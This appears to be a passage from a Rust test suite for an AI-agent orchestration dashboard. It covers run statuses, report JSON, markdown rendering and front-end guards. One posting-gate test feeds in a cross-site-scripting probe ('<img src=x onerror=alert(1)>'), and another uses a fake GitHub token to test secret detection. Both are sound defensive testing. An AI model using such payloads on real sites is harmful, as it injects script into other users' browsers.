15950 assert_eq!(json["badge_status"], "superseded");
15951 let detail = RunDetailView::of(state, false, Dead, None, None, None);
15952 assert_eq!(detail.badge_status, "stale");
15953 }
15954
15955 #[tokio::test]
15956 async fn run_display_status_routes_share_the_open_question_store() {
15957 let f = Fixture::start().await;
15958 let id = "20260922-090200-abcd";
15959 write_run(&f.runs(), id, RunStatus::Judging);
15960 let mut state = read_run(&f.runs(), id).unwrap();
15961 state.parked = true;
15962 state.driver_exited = true;
15963 state.event("github-text", "waiting for the owner");
15964 state.save_under(f.home.path()).unwrap();
15965 let mut task = Task::new(
15966 "resumed task".to_owned(),
15967 "do it".to_owned(),
15968 PathBuf::from("/repo"),
15969 Source::Human,
15970 );
15971 task.runs = vec![id.to_owned(), id.to_owned()];
15972 f.queue().put(&mut task).unwrap();
15973 let store = f.questions();
15974 let mut q = Question::new(
15975 id.to_owned(),
15976 "github-text".to_owned(),
15977 "owner".to_owned(),
15978 "Approve the text?".to_owned(),
15979 String::new(),
15980 Vec::new(),
15981 );
15982 store.put(&mut q).unwrap();
15983 for expected in ["waiting", "parked"] {
15984 let list = f.get("/api/runs").await.json();
15985 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15986 assert_eq!(list[0]["display_status"], expected);
15987 assert_eq!(detail["display_status"], expected);
15988 assert_eq!(detail["waiting"], list[0]["waiting"]);
15989 assert_eq!(list[0]["badge_status"], expected);
15990 assert_eq!(detail["badge_status"], expected);
15991 assert!(list[0]["superseded_by"].is_null());
15992 assert!(detail["superseded_by"].is_null());
15993 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
15994 let history = task_detail["history"].as_array().unwrap();
15995 assert_eq!(history.len(), 2);
15996 assert!(history[0]["badge"].is_null());
15997 assert_eq!(history[1]["badge"], expected);
15998 q.status = ask::QuestionStatus::Answered;
15999 store.put(&mut q).unwrap();
16000 }
16001 }
16002
16003 #[tokio::test]
16004 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
16005 let f = Fixture::start().await;
16006 let id = "20260922-090200-abcd";
16007 write_run(&f.runs(), id, RunStatus::Judging);
16008 let mut state = read_run(&f.runs(), id).unwrap();
16009 state.parked = true;
16010 state.driver_exited = true;
16011 state.event("park", "stopped at a node boundary");
16012 state.save_under(f.home.path()).unwrap();
16013
16014 for expected in ["parked", "stale"] {
16015 let list = f.get("/api/runs").await.json();
16016 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16017 assert_eq!(list[0]["live"], "dead");
16018 assert_eq!(list[0]["display_status"], expected);
16019 assert_eq!(detail["display_status"], expected);
16020 state.parked = false;
16023 state.save_under(f.home.path()).unwrap();
16024 }
16025 }
16026
16027 #[tokio::test]
16028 async fn the_run_list_is_newest_first_and_honours_a_limit() {
16029 let f = Fixture::start().await;
16030 for id in [
16031 "20260902-140501-aaaa",
16032 "20260902-140502-bbbb",
16033 "20260902-140503-cccc",
16034 ] {
16035 write_run(&f.runs(), id, RunStatus::Merged);
16036 }
16037
16038 let all = f.get("/api/runs").await.json();
16039 let capped = f.get("/api/runs?limit=2").await.json();
16040
16041 assert_eq!(all[0]["id"], "20260902-140503-cccc");
16042 assert_eq!(all.as_array().map(Vec::len), Some(3));
16043 assert_eq!(capped.as_array().map(Vec::len), Some(2));
16044 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
16045 }
16046
16047 #[tokio::test]
16048 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
16049 let f = Fixture::start().await;
16050 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
16051
16052 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
16053
16054 assert_eq!(res.status, 200);
16055 assert!(
16056 res.headers
16057 .contains("content-type: text/plain; charset=utf-8"),
16058 "a browser must render it, not download it: {}",
16059 res.headers
16060 );
16061 assert!(
16065 res.body.contains("20260902-140501-a1b2"),
16066 "the report is about the run that was asked for: {}",
16067 res.body
16068 );
16069 }
16070
16071 #[tokio::test]
16072 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
16073 crate::run::pin_test_home();
16075 let f = Fixture::start().await;
16076 let id = "20260902-140501-a1b2";
16077 write_run(&f.runs(), id, RunStatus::Stalled);
16078 let path = f.runs().join(id).join("run.json");
16081 let mut v: serde_json::Value =
16082 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16083 v["tally"] = serde_json::json!({
16084 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16085 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
16086 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
16087 "met_quorum": false, "rankings": 1
16088 });
16089 v["reviews"] = serde_json::json!([{
16090 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
16091 "e2e_deferred": true,
16092 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
16093 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
16094 ]}]
16095 }]);
16096 std::fs::write(&path, v.to_string()).unwrap();
16097 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
16098 std::fs::write(
16099 f.runs().join("20260902-140502-dead").join("run.json"),
16100 "{not json",
16101 )
16102 .unwrap();
16103
16104 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16105
16106 assert_eq!(res.status, 200, "{}", res.body);
16107 assert!(res.headers.contains("content-type: application/json"));
16108 let j = res.json();
16109 assert_eq!(j["schema"], 1);
16110 assert_eq!(j["header"]["id"], id);
16111 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
16112 let kinds: Vec<&str> = j["sections"]
16113 .as_array()
16114 .unwrap()
16115 .iter()
16116 .map(|s| s["kind"].as_str().unwrap())
16117 .collect();
16118 assert_eq!(kinds, ["candidates", "tally", "review"]);
16119 let tally = &j["sections"][1]["tally"];
16120 assert_eq!(
16121 (tally["decided"].clone(), tally["provisional"].clone()),
16122 (false.into(), true.into())
16123 );
16124 let round = &j["sections"][2]["rounds"][0];
16125 assert_eq!(round["e2e"]["state"], "deferred");
16126 assert_eq!(round["findings"][0]["severity"], "major");
16127 assert_eq!(round["findings"][0]["blocking"], true);
16128 assert_eq!(round["findings"][0]["state"], "open");
16129
16130 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
16132
16133 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
16135 assert_ne!(bad.status, 200, "{}", bad.body);
16136 assert_eq!(
16137 bad.status,
16138 f.get("/api/runs/20260902-140502-dead/report").await.status
16139 );
16140 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
16141 assert_eq!(
16142 f.get("/api/runs/20260902-999999-ffff/report.json")
16143 .await
16144 .status,
16145 404
16146 );
16147 }
16148
16149 #[tokio::test]
16150 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
16151 crate::run::pin_test_home();
16152 let f = Fixture::start().await;
16153 let id = "20260902-140503-delib";
16154 write_run(&f.runs(), id, RunStatus::Merged);
16155 let path = f.runs().join(id).join("run.json");
16156 let mut v: serde_json::Value =
16157 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16158 v["judgements"] = serde_json::json!([
16159 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16160 ]);
16161 v["tally"] = serde_json::json!({
16162 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16163 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
16164 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
16165 "met_quorum": true, "rankings": 1
16166 });
16167 v["deliberation"] = serde_json::json!([
16168 {
16169 "round": 1,
16170 "turns": [
16171 {
16172 "judge": 1,
16173 "agent": "judge-1",
16174 "body": "I prefer candidate **A** because it has cleaner tests.",
16175 "tentative": "A"
16176 }
16177 ]
16178 },
16179 {
16180 "round": 2,
16181 "turns": [
16182 {
16183 "judge": 1,
16184 "agent": "judge-1",
16185 "body": "Still thinking, no choice yet.",
16186 "tentative": null
16187 }
16188 ]
16189 }
16190 ]);
16191 std::fs::write(&path, v.to_string()).unwrap();
16192
16193 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16194 assert_eq!(res.status, 200, "{}", res.body);
16195 let j = res.json();
16196 let judging = j["sections"]
16197 .as_array()
16198 .unwrap()
16199 .iter()
16200 .find(|s| s["kind"] == "judging")
16201 .expect("judging section exists");
16202
16203 let delib_lines = judging["deliberation"].as_array().unwrap();
16205 assert_eq!(delib_lines.len(), 2);
16206 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
16207 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
16208
16209 let rounds = judging["rounds"].as_array().unwrap();
16211 assert_eq!(rounds.len(), 2);
16212 let r1_t0 = &rounds[0]["turns"][0];
16213 assert_eq!(r1_t0["judge"], 1);
16214 assert_eq!(r1_t0["agent"], "judge-1");
16215 assert_eq!(r1_t0["tentative"], "A");
16216 assert_eq!(
16217 r1_t0["body"],
16218 "I prefer candidate **A** because it has cleaner tests."
16219 );
16220 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
16221
16222 let r2_t0 = &rounds[1]["turns"][0];
16223 assert_eq!(r2_t0["judge"], 1);
16224 assert_eq!(r2_t0["agent"], "judge-1");
16225 assert!(r2_t0["tentative"].is_null());
16226 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
16227 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
16228
16229 let id_empty = "20260902-140504-nodelib";
16231 write_run(&f.runs(), id_empty, RunStatus::Merged);
16232 let path_empty = f.runs().join(id_empty).join("run.json");
16233 let mut v_empty: serde_json::Value =
16234 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
16235 v_empty["judgements"] = serde_json::json!([
16236 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16237 ]);
16238 v_empty["deliberation"] = serde_json::json!([]);
16239 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
16240
16241 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
16242 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
16243 let j_empty = res_empty.json();
16244 let judging_empty = j_empty["sections"]
16245 .as_array()
16246 .unwrap()
16247 .iter()
16248 .find(|s| s["kind"] == "judging")
16249 .expect("judging section exists");
16250 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
16251 }
16252
16253 #[tokio::test]
16254 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
16255 let f = Fixture::start().await;
16256
16257 let html = f.get("/").await;
16258 let css = f.get("/app.css").await;
16259 let js = f.get("/app.js").await;
16260
16261 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
16262 assert!(
16263 html.headers
16264 .contains("content-type: text/html; charset=utf-8")
16265 );
16266 assert!(css.headers.contains("content-type: text/css"));
16267 assert!(js.headers.contains("content-type: text/javascript"));
16268 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
16269 }
16270
16271 #[test]
16272 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
16273 let body = |name: &str| {
16274 let at = APP_JS
16275 .find(name)
16276 .unwrap_or_else(|| panic!("{name} missing"));
16277 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16278 };
16279 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
16280 let note = body("function landRoundNote");
16281 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
16282 assert!(note.contains("Land round ${round}"));
16283 let land = body("function renderLand");
16284 let note_at = land
16285 .find("landRoundNote(pr)")
16286 .expect("renderLand uses the note");
16287 assert!(
16288 note_at
16289 < land
16290 .find("roundRail(pr)")
16291 .expect("renderLand uses the rail")
16292 );
16293 }
16294
16295 #[test]
16296 fn the_runs_page_redesign_keeps_its_guards() {
16297 let body = |name: &str| {
16298 let at = APP_JS
16299 .find(name)
16300 .unwrap_or_else(|| panic!("{name} missing"));
16301 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16302 };
16303 let land = body("function renderLand");
16305 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
16306 assert!(
16307 !land.contains("box.append("),
16308 "renderLand must use append()"
16309 );
16310 assert!(land.contains("append(box, ["));
16311 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
16313 assert!(
16314 body("function applyRoute")
16315 .contains("route.name !== state.route.name || route.id !== state.route.id")
16316 );
16317 assert!(!APP_JS.contains("adviseConvergeDiagram"));
16319 assert!(!INDEX_HTML.contains("advise-converge"));
16320 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
16321 assert!(APP_JS.contains("provisional"));
16322 for id in [
16323 "run-tab-overview",
16324 "run-tab-timeline",
16325 "run-tab-report",
16326 "run-report",
16327 "runs-scope",
16328 ] {
16329 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
16330 }
16331 assert!(!INDEX_HTML.contains("runs-tree"));
16332 assert!(!INDEX_HTML.contains("run-raw-panel"));
16333 assert!(APP_JS.contains("resume"));
16335 assert!(APP_JS.contains("unreadable"));
16337 }
16338
16339 #[test]
16340 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
16341 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
16342 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
16343 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
16344 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
16345 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
16346 assert!(APP_JS.contains("unreadable` : null"));
16348 }
16349
16350 #[test]
16351 fn blocked_run_detail_exposes_the_failed_gate_reason() {
16352 let mut state = RunState::new(
16353 "/repo".into(),
16354 "main".into(),
16355 "abc".into(),
16356 "task".into(),
16357 crate::config::Config::default(),
16358 );
16359 state.status = RunStatus::Blocked;
16360 state.gate_ran = true;
16361 state.gate.push(crate::run::CommandOutcome {
16362 command: "cargo make check".into(),
16363 code: Some(1),
16364 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
16365 duration_ms: 0,
16366 resource_blocked: false,
16367 });
16368 let view = RunDetailView::of(
16369 state,
16370 false,
16371 crate::run::Liveness::Unknown,
16372 None,
16373 None,
16374 None,
16375 );
16376 let value = serde_json::to_value(view).unwrap();
16377 assert_eq!(
16378 value["stop_reason"],
16379 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
16380 );
16381 }
16382
16383 #[test]
16384 fn the_run_detail_payload_says_whether_the_run_is_done() {
16385 for (status, done) in [
16387 (RunStatus::Superseded, true),
16388 (RunStatus::Blocked, true),
16389 (RunStatus::Landing, false),
16390 ] {
16391 let mut state = RunState::new(
16392 std::path::PathBuf::from("/repo"),
16393 "main".to_owned(),
16394 "abc".to_owned(),
16395 "x".to_owned(),
16396 crate::config::Config::default(),
16397 );
16398 state.status = status;
16399 let v = serde_json::to_value(RunDetailView::of(
16400 state,
16401 false,
16402 crate::run::Liveness::Unknown,
16403 None,
16404 None,
16405 None,
16406 ))
16407 .unwrap();
16408 assert_eq!(v["done"], done, "{status:?}");
16409 }
16410 }
16411
16412 fn has_strong(nodes: &[md::Node]) -> bool {
16414 serde_json::to_string(nodes).unwrap().contains("strong")
16415 }
16416
16417 #[test]
16418 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
16419 let mut state = RunState::new(
16420 std::path::PathBuf::from("/repo"),
16421 "main".to_owned(),
16422 "abc".to_owned(),
16423 "x".to_owned(),
16424 crate::config::Config::default(),
16425 );
16426 let proposal = |approach: &str| {
16427 serde_json::json!({
16428 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
16429 })
16430 };
16431 state.advice = Some(
16432 serde_json::from_value(serde_json::json!({
16433 "records": [
16434 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
16435 "proposal": proposal("do **this**")},
16436 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
16437 ],
16438 "synthesis": "- one\n- **two**\n\n`code`",
16439 }))
16440 .unwrap(),
16441 );
16442 state.candidates = serde_json::from_value(serde_json::json!([
16443 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
16444 "summary": "did **it**"},
16445 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
16446 ]))
16447 .unwrap();
16448 state.reviews = serde_json::from_value(serde_json::json!([{
16451 "round": 1, "head": "h",
16452 "reviews": [{
16453 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
16454 "findings": [
16455 {"severity": "nit", "title": "t1", "detail": "plain nit"},
16456 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
16457 ],
16458 }],
16459 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
16460 "fix": {"agent": "a", "notes": "fixed **it**",
16461 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
16462 }, {"round": 2, "head": "h2", "reviews": []}]))
16463 .unwrap();
16464
16465 let v = serde_json::to_value(RunDetailView::of(
16466 state,
16467 false,
16468 crate::run::Liveness::Unknown,
16469 None,
16470 None,
16471 None,
16472 ))
16473 .unwrap();
16474
16475 let strong = |p: &str| {
16476 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
16477 assert!(n.to_string().contains("strong"), "{p}: {n}");
16478 };
16479 strong("/advice_md/synthesis");
16480 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
16481 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
16482 strong("/advice_md/approaches/0");
16483 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
16484 strong("/candidate_summaries_md/0");
16485 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
16486 strong("/reviews_md/0/reviewers/0/summary");
16487 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
16488 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
16489 assert!(f[1].to_string().contains("strong"));
16490 strong("/reviews_md/0/reconsideration/0");
16491 strong("/reviews_md/0/fix/notes");
16492 strong("/reviews_md/0/fix/rejected/0");
16493 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
16494 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
16495 assert_eq!(v["candidates"][0]["summary"], "did **it**");
16497 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
16498 }
16499
16500 #[test]
16501 fn a_run_without_advice_has_no_advice_md() {
16502 let state = RunState::new(
16503 std::path::PathBuf::from("/repo"),
16504 "main".to_owned(),
16505 "abc".to_owned(),
16506 "x".to_owned(),
16507 crate::config::Config::default(),
16508 );
16509 let p = run_prose_md(&state);
16510 assert!(p.advice_md.is_none());
16511 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
16512 }
16513
16514 #[test]
16515 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
16516 let store = ask::Questions::at(PathBuf::from("unused"));
16517 let gt = crate::github_text::Withheld {
16518 title: false,
16519 body: true,
16520 categories: vec!["sensitive-data".into()],
16521 };
16522 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
16523 let (detail, comparison) =
16524 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16525 let mut q = Question::new(
16526 "r".into(),
16527 "github-text".into(),
16528 "posting-gate".into(),
16529 "s".into(),
16530 detail,
16531 Vec::new(),
16532 );
16533 assert!(
16534 QuestionView::of(q.clone(), &store, false)
16535 .posting_view
16536 .is_none()
16537 );
16538 q.posting_comparison = Some(comparison);
16539 let view = QuestionView::of(q.clone(), &store, false);
16540 let field = &view.posting_view.unwrap().fields[0];
16541 assert_eq!(
16542 field
16543 .original
16544 .iter()
16545 .map(|f| f.text.as_str())
16546 .collect::<String>(),
16547 body
16548 );
16549 assert!(field.original[0].text.starts_with("<img"));
16550 let original_question: Question =
16551 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
16552 assert_eq!(original_question, q);
16553 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
16554 .original
16555 .start = 1;
16556 assert!(
16557 QuestionView::of(q.clone(), &store, false)
16558 .posting_view
16559 .is_none()
16560 );
16561 q.posting_comparison = original_question.posting_comparison;
16562 q.detail.push_str("extra context");
16563 assert!(
16564 QuestionView::of(q.clone(), &store, false)
16565 .posting_view
16566 .is_some()
16567 );
16568 q.detail.insert(0, 'x');
16569 assert!(QuestionView::of(q, &store, false).posting_view.is_none());
16570 }
16571
16572 #[test]
16573 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
16574 let store = ask::Questions::at(PathBuf::from("unused"));
16575 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
16576 let gt = crate::github_text::Withheld::from_check(
16577 &crate::github_text::check("fix: x", body),
16578 "fix: x",
16579 body,
16580 )
16581 .unwrap();
16582 let (detail, comparison) =
16583 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16584 let mut q = Question::new(
16585 "r".into(),
16586 "github-text".into(),
16587 "posting-gate".into(),
16588 "s".into(),
16589 detail,
16590 Vec::new(),
16591 );
16592 q.posting_comparison = Some(comparison);
16593 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
16594 let field = &value["posting_view"]["fields"][0];
16595 let group = &field["replacement_group"];
16596 let triggers = group["triggers"].as_array().unwrap();
16597 assert_eq!(triggers.len(), 2);
16598 assert_ne!(triggers[0], triggers[1]);
16599 for id in triggers {
16600 assert!(
16601 field["original"]
16602 .as_array()
16603 .unwrap()
16604 .iter()
16605 .any(|f| &f["pair"] == id)
16606 );
16607 assert!(
16608 !field["changed"]
16609 .as_array()
16610 .unwrap()
16611 .iter()
16612 .any(|f| &f["pair"] == id)
16613 );
16614 }
16615 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
16616 group["id"].as_u64().unwrap() as usize;
16617 assert!(
16618 QuestionView::of(q, &store, false).posting_view.is_none(),
16619 "group and trigger IDs cannot collide"
16620 );
16621 }
16622
16623 #[test]
16624 fn a_question_view_carries_markdown_for_each_thread_turn() {
16625 let home = TempDir::new().unwrap();
16626 let store = ask::Questions::at(home.path().join("questions"));
16627 let mut q = Question::new(
16628 "run".to_owned(),
16629 "implement".to_owned(),
16630 "impl-A".to_owned(),
16631 "which?".to_owned(),
16632 String::new(),
16633 Vec::new(),
16634 );
16635 q.say("plain words").unwrap();
16636 q.reply("use **this**", Vec::new()).unwrap();
16637 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16638 let bodies = &v["thread_bodies_md"];
16639 assert_eq!(bodies.as_array().unwrap().len(), 2);
16640 assert!(!bodies[0].to_string().contains("strong"));
16641 assert!(bodies[1].to_string().contains("strong"));
16642 }
16643
16644 #[test]
16645 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
16646 let home = TempDir::new().unwrap();
16647 let store = ask::Questions::at(home.path().join("questions"));
16648 let mut q = Question::new(
16649 "run".to_owned(),
16650 "conduct".to_owned(),
16651 "conduct".to_owned(),
16652 "which?".to_owned(),
16653 String::new(),
16654 Vec::new(),
16655 );
16656 q.say("plain words").unwrap();
16657 q.thread.push(ask::Turn {
16658 who: ask::Who::Agent,
16659 body: "Settled as `merge`".to_owned(),
16660 at: jiff::Timestamp::now(),
16661 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
16662 });
16663 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16664 let notes = &v["thread_notes_md"];
16665 assert_eq!(notes.as_array().unwrap().len(), 2);
16666 assert!(notes[0].is_null());
16667 let text = notes[1].to_string();
16668 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
16669 assert!(APP_JS.contains("ask-turn-note"));
16670 }
16671
16672 #[test]
16673 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
16674 assert!(APP_JS.contains("function landView(run, raw) {"));
16678 assert!(
16679 APP_JS.contains(
16680 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
16681 )
16682 );
16683 assert!(APP_JS.contains("const pr = landView(run, raw);"));
16684 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
16685 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
16686 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
16687 }
16688
16689 #[test]
16690 fn live_runs_are_never_hidden_or_folded_as_superseded() {
16691 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
16692 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
16693 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
16694 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
16695 }
16696
16697 #[test]
16698 fn review_rounds_label_a_distinct_verified_head() {
16699 assert!(APP_JS.contains("round.verified_head"));
16700 assert!(APP_JS.contains("verified HEAD"));
16701 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
16702 }
16703
16704 #[test]
16705 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
16706 assert!(APP_JS.contains("blocked: { glyph:"));
16710 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
16711
16712 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
16716 assert!(
16717 APP_JS.contains(
16718 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
16719 ),
16720 "the note line must name what a blocked task is waiting on, not just that it is blocked"
16721 );
16722 assert!(APP_JS.contains("if (status === \"blocked\") {"));
16726
16727 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
16731 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
16732 assert!(
16733 APP_JS.contains("location.hash = \"#/questions\";"),
16734 "a question node must jump to the Questions screen, not pretend to be a task"
16735 );
16736
16737 assert!(APP_JS.contains("Resolved questions"));
16740 assert!(APP_JS.contains("r.answersList.append("));
16741 assert!(APP_CSS.contains(".task-answers"));
16742 {
16743 let start = APP_JS
16744 .find("function updateTalkTaskRow")
16745 .expect("updateTalkTaskRow");
16746 let body = &APP_JS[start..];
16747 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
16748 assert!(
16749 body.contains(
16750 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
16751 ),
16752 "a chat-filed task row must link to the task page"
16753 );
16754 assert!(
16755 !body.contains("#/runs/") && !body.contains("#/queue/"),
16756 "the row must not branch to a run or the queue card"
16757 );
16758 assert!(APP_CSS.contains(".talk-task-link"));
16759 }
16760 }
16761
16762 #[test]
16763 fn a_task_notification_links_to_the_task_page() {
16764 let start = APP_JS
16766 .find("function noticeLink(")
16767 .expect("noticeLink exists");
16768 let body = &APP_JS[start..];
16769 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
16770 assert!(
16771 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
16772 "a task notice's link must target the task page"
16773 );
16774 assert!(
16775 !body.contains("#/queue/"),
16776 "regression: the task link must not go back to the Backlog route"
16777 );
16778 assert!(
16779 APP_JS.contains(
16780 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
16781 ),
16782 "`#/tasks/<id>` must parse into the task route"
16783 );
16784
16785 assert!(
16787 APP_JS.contains(
16788 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
16789 ),
16790 "`#/queue/<id>` must parse into a route carrying that id"
16791 );
16792
16793 assert!(APP_JS.contains("state.queueFocus = route.id;"));
16797 assert!(APP_JS.contains("function consumeQueueFocus()"));
16798 assert!(APP_JS.contains("jumpToTask(id)"));
16799 }
16800
16801 #[test]
16804 fn chat_rows_put_the_title_alone_on_the_first_line() {
16805 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
16806 assert!(APP_CSS.contains(
16807 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
16808 ));
16809 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
16810 assert!(APP_JS.contains("class: \"badge talk-unread\""));
16811 }
16812
16813 #[test]
16814 fn run_rows_put_the_title_alone_on_the_first_line() {
16815 assert!(
16816 APP_CSS.contains(
16817 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
16818 )
16819 );
16820 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
16821 assert!(APP_JS.contains("class: \"card run-card\""));
16822 assert!(APP_JS.contains("class: \"repo run-id\""));
16823 }
16824
16825 #[test]
16829 fn wide_screens_show_list_and_preview_side_by_side() {
16830 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
16832 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
16833 assert!(APP_CSS.contains("main[data-split]"));
16834 assert!(APP_CSS.contains("body[data-split]"));
16835
16836 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
16838 assert!(
16839 APP_JS.contains(
16840 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
16841 )
16842 );
16843 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
16844 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
16845 assert!(INDEX_HTML.contains("id=\"split-empty\""));
16846
